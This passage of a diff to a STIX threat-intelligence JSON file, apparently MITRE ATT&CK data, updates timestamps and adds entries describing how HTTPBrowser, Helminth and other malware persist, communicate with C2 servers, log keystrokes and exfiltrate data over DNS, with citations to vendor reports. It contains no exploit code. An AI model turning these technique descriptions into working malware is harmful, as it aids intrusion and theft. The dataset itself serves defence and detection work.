             "description": "Before being appended to image files, HAMMERTOSS commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
@@ -41841,7 +49599,7 @@
             "id": "relationship--1e2baacb-9033-49a9-890a-f48c87ab1531",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
@@ -41862,7 +49620,7 @@
             "id": "relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HDoor kills anti-virus found on the victim.",
             "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
@@ -41883,7 +49641,7 @@
             "id": "relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HDoor scans to identify open ports on the victim. ",
             "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
@@ -41904,7 +49662,7 @@
             "id": "relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HIDEDRV is a rootkit that hides certain operating system artifacts.",
             "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
@@ -41925,7 +49683,7 @@
             "id": "relationship--b97e696f-6386-4b15-8f24-81d0abe51830",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HIDEDRV injects a DLL for Downdelph into the explorer.exe process.",
             "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
@@ -41946,7 +49704,7 @@
             "id": "relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTRAN is used for proxying connections to obfuscate command and control infrastructure.",
             "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e",
@@ -41967,7 +49725,7 @@
             "id": "relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser has used HTTP, HTTPS, and DNS for command and control.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -41993,7 +49751,7 @@
             "id": "relationship--259b878f-147e-443b-8360-aabc00cf6d73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser has established persistence by setting the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> key value for <code>wdm</code> to the path of the executable. It has also used the Registry entry <code>HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run vpdn \u201c%ALLUSERPROFILE%\\%APPDATA%\\vpdn\\VPDN_LU.exe\u201d</code> to establish persistence.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42019,7 +49777,7 @@
             "id": "relationship--291b7fbf-5b5f-460a-8009-cadb383b3262",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser's code may be obfuscated through structured exception handling and return-oriented programming.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42040,7 +49798,7 @@
             "id": "relationship--380db9ad-f6ad-4988-8a28-b773313f07b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser is capable of spawning a reverse shell on a victim.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42061,7 +49819,7 @@
             "id": "relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser is capable of capturing keystrokes on victims.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42082,7 +49840,7 @@
             "id": "relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser has used DLL side-loading.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42103,7 +49861,7 @@
             "id": "relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser is capable of listing files, folders, and drives on a victim.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42129,7 +49887,7 @@
             "id": "relationship--0e12d7d1-5c46-4314-97fb-263853eed6af",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser is capable of writing a file to the compromised system from the C2 server.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42150,7 +49908,7 @@
             "id": "relationship--654d9e83-9501-4de8-8828-1a1ebf36bc8f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser's installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42171,7 +49929,7 @@
             "id": "relationship--1762fe5a-0810-4179-bfb0-16d965ffe055",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42192,7 +49950,7 @@
             "id": "relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser deletes its original installer file once installation is complete.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42213,7 +49971,7 @@
             "id": "relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One HTTPBrowser variant connected to its C2 server over port 8080.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
@@ -42234,7 +49992,7 @@
             "id": "relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.",
             "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8",
@@ -42255,7 +50013,7 @@
             "id": "relationship--89433640-bf49-48b3-9f26-76423cd36f77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.",
             "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8",
@@ -42271,12 +50029,411 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--95b21e05-610e-47bf-a4b1-9d4b398e6c13",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "One version of Helminth consists of VBScript and PowerShell scripts. The malware also uses batch scripting.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "One version of Helminth uses a PowerShell script.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--49c7a467-98ce-4764-af86-c950ed951d13",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth can use HTTP or DNS for C2.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--86b2980a-dd9f-4553-8f65-69f75f0f4332",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth can download additional files.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--acca43ee-1e88-4d39-a953-7626173a89b2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth can provide a remote shell.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The executable version of Helminth has a module to log keystrokes.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a58983e1-45d7-4b45-a578-307659a619dc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The executable version of Helminth has a module to log clipboard contents.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9c7ecbf4-88fe-4144-8dc4-f5bca2c3156d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth creates folders to store output from batch scripts prior to sending the information to its C2 server.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth establishes persistence by creating a shortcut.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--284d622d-8b28-4569-97a7-936edced1b18",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "The Helminth config file is encrypted with RC4.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth encrypts data sent to its C2 server over HTTP with RC4.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e68ff1c2-ef03-486b-96df-167a1652a97b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "For C2 over HTTP, Helminth encodes data with base64 and sends it via the \"Cookie\" field of HTTP requests. For C2 over DNS, Helminth converts ASCII characters into their hexadecimal values and sends the data in cleartext.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--09266cb7-26b3-4959-bcff-a91e309b5588",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth has used a scheduled task for persistence.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky OilRig Jan 2017",
+                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
+                    "url": "http://www.clearskysec.com/oilrig/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky OilRig Jan 2017",
+                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
+                    "url": "http://www.clearskysec.com/oilrig/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth establishes persistence by creating a shortcut in the Start Menu folder.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth has checked for the local admin group domain admin group and Exchange Trusted Subsystem groups using the commands <code>net group Exchange Trusted Subsystem /domain</code> and <code>net group domain admins /domain</code>.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
